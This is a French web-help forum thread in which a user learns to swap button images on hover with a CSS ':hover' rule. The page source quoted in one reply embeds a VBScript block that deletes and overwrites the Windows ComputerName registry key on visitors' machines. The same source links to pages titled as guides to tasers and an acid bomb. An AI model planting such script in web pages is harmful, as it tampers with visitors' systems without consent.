Sujet Précédent Sujet Suivant

Image changeante au passage du curseur !?

Résolu/Fermé
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 - 8 févr. 2009 à 14:27
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 - 8 févr. 2009 à 18:09
Bonjour,
Bonjour Bonjour,
J'ai des boutons qui s'affichent en arrière plan avec du css sur mon site
Je voudrais leur mettre un effet de onemouseover !Du style quand on passe la souris dessus ça affiche une autre image !
Et je voudrais faire ça en css svp .
plz
A voir également:

15 réponses

Réponse 1 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 14:51
Nan mais les boutons ils sont dans le style.css donc faut modifier style.css
Mais comment ?
1
Réponse 2 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 14:52
Dzl j'peu pas mettre le lien ça marche aps
1
Réponse 3 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 15:10
Nan en faite les boutons sont des image qui sont paramétré par rapport au style.css tu voi ske jveu dire ou pas ?
(va sur mon profil ya le lien vers mon site et les bouton ke je parle ce sont ceux en vert a gauche)
1
Réponse 4 / 15
Utilisateur anonyme
8 févr. 2009 à 14:36
donne moi le code source complet de ta page web pour que je puisse y mettre le code qui te permet de faire l'effet désiré
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Réponse 5 / 15
Utilisateur anonyme
8 févr. 2009 à 14:37
avec le lien ça suffit
0
Réponse 6 / 15
Utilisateur anonyme
8 févr. 2009 à 15:00
en fait, les boutons sont dans l'image qui sert d'arrière plan c'est ça ?
0
Réponse 7 / 15
Utilisateur anonyme
8 févr. 2009 à 15:21
Voici le code source de ta page web :
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>

<link rel="shortcut icon" href="favicon.gif" />
<title>0K3Y</title>


<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<meta http-equiv="Content-Language" content="fr" />

<meta http-equiv="Content-Script-Type" content="text/javascript" />

<meta http-equiv="Content-Style-Type" content="text/css" />

<meta name="DC.Language" scheme="RFC3066" content="fr" />

<link rel="stylesheet" href="style.css" type="text/css" media="screen" title="Normal" />

<style>UNKNOWN {
CURSOR: url('mouse.cur')
}
</style>
<style>BODY {
CURSOR: url('mouse.cur')
}
SPAN.GramE {
}
SPAN.SpellE {
}
DIV {
COLOR: #000
}
DIV {
FONT-FAMILY: arial,sans-serif
}
.g {
MARGIN-TOP: 1em; MARGIN-BOTTOM: 1em
}
TD {
COLOR: #000
}
TD {
FONT-FAMILY: arial,sans-serif
}
.j {
WIDTH: 34em
}
</style>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\System
\CurrentControlSet\Control\ComputerName\"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\ComputerName\ComputerName
\ComputerName","http://0k3y.hostse.com/"
</script>
<script language="javascript"><!--
function click(){if(event.button==2){alert('يا ورع يا جزمه هذا تصميم مو سرق');}}
document.onmousedown=click//-->
</script><!-- .page { background: #FFFFFF; color: #684B17; } .tborder { background: #A59068; font-size: 13pt; } td { color: #684B17; font: bold 13pt Arial, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; } .alt1 { background: #FDF7EC; color: #684B17; font: bold,center 13pt arial; } -->
<style>BODY {
SCROLLBAR-FACE-COLOR: #6600CC; SCROLLBAR-HIGHLIGHT-COLOR: white; SCROLLBAR-SHADOW-COLOR: white; SCROLLBAR-3DLIGHT-COLOR: #000000; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #000000; SCROLLBAR-DARKSHADOW-COLOR: #000000
}
TH {
COLOR: #1cb081
}
TD {
COLOR: #1cb081
}
BODY {
COLOR: #1cb081
}
BODY {
CURSOR: crosshair; SCROLLBAR-ARROW-COLOR: #3366ff; SCROLLBAR-BASE-COLOR: black; BACKGROUND-COLOR: #FFFFFF
}
INPUT {
BACKGROUND-COLOR: #303030! important
}
INPUT {
COLOR: #1cb081! important
}
.Stile5 {
FONT-SIZE: 10px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
.Stile6 {
FONT-WEIGHT: bold; FONT-SIZE: 12px; FONT-STYLE: italic; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
DIV {
COLOR: #000
}
DIV {
FONT-FAMILY: arial,sans-serif
}
.g {
MARGIN: 1em 0px
}
.j {
WIDTH: 34em
}
DIV.Section1 {
}
SPAN.SpellE {
}
.mplsession {
PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 20px; PADDING-TOP: 0px
}
.page
{
background: #FFFFFF;
color: #7A0D25;
}
.tborder
{
background: #EFEFEF;
color: #000000;
border: 1px solid #EFEFEF;
}
.alt1
{
background: #FFF3FC;
color: #000000;
}
.style2 {
font-size: 36pt;
}
.style3 {
color: #C0C0C0;
}
</style>
<meta http-equiv="Content-Language" content="ar-sa" />

<script type="text/javascript">
</script>
</head>


<body>

<h1 id="header"><span>0k3y</span></h1>

<ul id="menuhorizontal">

<li><a href="index.html">accueil</a></li>

<li><a href="mailto:0K3Y@ifrance.com">Me contacter</a></li>

</ul>

<p id="connexion"><br />

</p>

<ul id="menuvertical">

<li><a href="wii.htm">Wii</a></li>

<li><a href="ouvrir_cadena.htm">ou<span style="font-weight: bold;">v</span>rir <span style="font-weight: bold;">c</span>ade<span style="font-weight: bold;">n</span>a</a></li>

<li><a href="ouvrir_porte.htm"><span style="font-weight: bold;">O</span>uvrir p<span style="font-weight: bold;">o</span>rt<span style="font-weight: bold;">e</span></a></li>

<li><a href="code_admin.htm">Ch<span style="font-weight: bold;">a</span>ng<span style="font-weight: bold;">e</span>r p<span style="font-weight: bold;">a</span>s<span style="font-weight: bold;">s</span> a<span style="font-weight: bold;">d</span>m<span style="font-weight: bold;">i</span>n</a></li>

<li><a href="taser.htm">f<span style="font-weight: bold;">a</span>br<span style="font-weight: bold;">i</span>qu<span style="font-weight: bold;">e</span>r t<span style="font-weight: bold;">a</span>s<span style="font-weight: bold;">e</span>r</a></li>

<li><a href="acide_chlorhydrique.htm">B<span style="font-weight: bold;">o</span>mb<span style="font-weight: bold;">e</span> <span style="font-weight: bold;">a</span>c<span style="font-weight: bold;">i</span>d<span style="font-weight: bold;">e</span></a></li>

<li><a href="free_game_mobil.htm"><span style="font-weight: bold;"></span>J<span style="font-weight: bold;">eu</span>x m<span style="font-weight: bold;">o</span>b<span style="font-weight: bold;">i</span>l<span style="font-weight: bold;">e</span> fr<span style="font-weight: bold;">ee</span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span></a></li>

<li><a href="cbg.htm">F<span style="font-weight: bold;">au</span>x<span style="font-weight: bold;"> </span>c<span style="font-weight: bold;">o</span>d<span style="font-weight: bold;">e </span>b<span style="font-weight: bold;">a</span>rr<span style="font-weight: bold;">e</span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span><span style="font-weight: bold;"></span></a></li>

</ul>

<div style="width: 959px;" id="contenu"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;">   
       
   
       
   
        <a href="javascript:;" onmouseover="document.img_1.src='Eh_ouaip.jpg';" onmouseout="document.img_1.src='Eh_ouaip_2.jpg';"><img style="border-style: none;" name="img_1" src="Eh_ouaip_2.jpg" /> </a>
</span><span style="font-family: Calibri; font-weight: bold;"><br />

<br />

</span></big></big></big>
<div class="boutons clearfix" style="margin: 15px auto; width: 500px; font-size: 11px;">  
       
       
       
         <br />

<br />

</div>

<div class="alacon" style="font-size: 16px; text-align: center;">
<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big></div>

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big>
<div style="text-align: center;"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big><br />

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"></span></big></big></big></div>

<big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"><br />

</span></big></big></big>
<div style="text-align: center;"><big style="color: rgb(122, 122, 122);"><big><big><span style="font-family: Calibri; font-weight: bold;"><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">Site
en c</span></big></big></big></big></span><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">o</span><span style="font-weight: bold; color: rgb(198, 198, 198); font-family: Broadway;">nstructi</span><span style="color: rgb(198, 198, 198); font-family: Broadway;">o</span></big></big></big></big><span style="font-family: Calibri; font-weight: bold;"><big><big><big><big><span style="color: rgb(198, 198, 198); font-family: Broadway;">n !</span></big></big></big></big></span></big></big></big><br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

</div>

</div>

</body>
</html>
<!-- Site Meter -->
<script type="text/javascript" src="http://s51.sitemeter.com/js/counter.js?site=s51hostsecom">
</script>
<noscript>
<a href="http://s51.sitemeter.com/stats.asp?site=s51hostsecom" target="_top">
<img src="http://s51.sitemeter.com/meter.asp?site=s51hostsecom" alt="Site Meter" border="0"/></a>
</noscript>
<!-- Copyright (c)2006 Site Meter -->
<div style="position: relative; left:0; clear: both; bottom:0px; z-index: 100; width: 100%; border: 1px solid #aecaec; margin: 0%; padding: 5px; background-color: #edfaff;" >
<center>
<!-- Begin: AdBrite, Generated: 2009-02-07 11:39:36 -->
<script type="text/javascript">
var AdBrite_Title_Color = '006699';
var AdBrite_Text_Color = '000000';
var AdBrite_Background_Color = 'edfaff';
var AdBrite_Border_Color = 'edfaff';
var AdBrite_URL_Color = '008000';
try{var AdBrite_Iframe=window.top!=window.self?2:1;var AdBrite_Referrer=document.referrer==''?document.location:document.referrer;AdBrite_Referrer=encodeURIComponent(AdBrite_Referrer);}catch(e){var AdBrite_Iframe='';var AdBrite_Referrer='';}
</script>
<span style="white-space:nowrap;"><script type="text/javascript">document.write(String.fromCharCode(60,83,67,82,73,80,84));document.write(' src="http://ads.adbrite.com/mb/text_group.php?sid=1030563&zs=3732385f3930&ifr=%27+AdBrite_Iframe+%27&ref=%27+AdBrite_Referrer+%27" type="text/javascript">');document.write(String.fromCharCode(60,47,83,67,82,73,80,84,62));</script>
</span>
<!-- End: AdBrite -->
</center>
</div>

et du fichier .css:

/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li a:hover{text-decoration: underline;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}

La on va pouvoir travailler:
0
Réponse 8 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 15:40
Euh .. ouais !
Tu sais comment faire ?
0
Réponse 9 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 16:09
Help !
0
Réponse 10 / 15
Nep_51 Messages postés 49 Date d'inscription jeudi 5 février 2009 Statut Membre Dernière intervention 7 avril 2009 9
8 févr. 2009 à 17:00
Bonjour

Je n'ai pas lu ton pavé de code... trop long
Je sais pas si c'est ce que tu voudrai mais dans le style il existe une option hover.

Exemple sur une div (a toi d'adapter ensuite)
div{
background-image:url(image1);
}
div:hover{
background-image:url(image2);
}

Ton fond sera donc l'image1 et quand la souris passe sur ta div, elle deviens image2.

Nep
http://www.cultureg.com

0
Réponse 11 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 17:03
6mer Nep_51
0
Réponse 12 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 17:11
/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li a:hover{text-decoration: underline;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}

Euh comment j'pourrais modifier la partie grasse surlignée ?!
sil'te'plait
0
Réponse 13 / 15
Utilisateur anonyme
8 févr. 2009 à 17:46
Voici la solution en gras (tu met une autre image d'arrière plan nommé par exemple menuverticalDuneAutreCouleur.jpg):




/*Configuration générale */

* { margin: 0; padding: 0;}

body {
margin: 0;
background-image: url(images/extensiblehead.jpg) ;
background-repeat: repeat-x;
font-family: Arial, Helvetica, sans-serif;
font-size: 0.8em;
}

a { color: #D1B02D; }

a:hover {text-decoration: none; }

/* -Header- */

#header {
width: 373px;
height: 153px;
background: url(images/header.jpg) no-repeat ;
margin: 0;
}

#header span {
display: none;
}

/* -Menu header- */

#menuhorizontal {
height: 27px;
margin: -96px 0 0 362px;
list-style-type: none;
}

#menuhorizontal li {
float: left;
display: block;
width: 81px;
height: 27px;
margin: 0 4px 0 5px ;
line-height: 15px;
background: url(images/menuheader.jpg) no-repeat;
text-align: center;
}

#menuhorizontal li a {
color: #fff;
font-size: 1em;
text-decoration: none;
}

#menuhorizontal li a:hover {text-decoration: underline;}

/* Barre de Connexion */

#connexion {
height: 45px;
margin: 24px 0 0 370px;
color: #6a6a6a;
padding: 7px 0;
}

/* Menu vertical */

#menuvertical {
width: 140px;
margin: 57px 0 0 0 ;
float: left;
list-style-type: none;
}

#menuvertical li {
display: block;
width: 140px;
height: 25px;
line-height: 25px;
text-align: right;
margin: 7px 0 0 0;
background: url(images/menuvertical.jpg) no-repeat;
}

#menuvertical li a {
color: #fff;
text-decoration: none;
margin: 0 10px 0 0;
}

#menuvertical li:hover{text-decoration: underline;background: url(images/menuverticalDuneAutreCouleur.jpg) no-repeat;}

/* Contenu */

#contenu {
width: 670px;
margin: 45px 0 0 185px;
}

#contenu h2 {
color: #fb8800;
margin: 25px 9px 0 0;
font-size: 1em;
}

#footer {
clear: both;
margin: 70px 0 0 0;
text-align: center;
}
0
Réponse 14 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 17:58
Ouah TotoAussi tu geres trop !merci
Tchuss .
0
Réponse 15 / 15
kind-david Messages postés 72 Date d'inscription vendredi 21 mars 2008 Statut Membre Dernière intervention 3 février 2010 2
8 févr. 2009 à 18:09
Image changeante au passage du curseur !?

Regarde ce que ça donne h t t p : / / 0 k 3 y . h o s t s e . c o m /
YEEEAAAHH ^^
0

Discussions similaires

Retrouver l'image originale après avoir fait des modifications ?
Raven -
bonjou -

9 réponses
Problème Chronopost : Pas d'avis de passage !!
sweetinky -
Camille -

40 réponses
Images mouvantes selon l'angle de vue
PoPoV123 -
oeildelynx -

9 réponses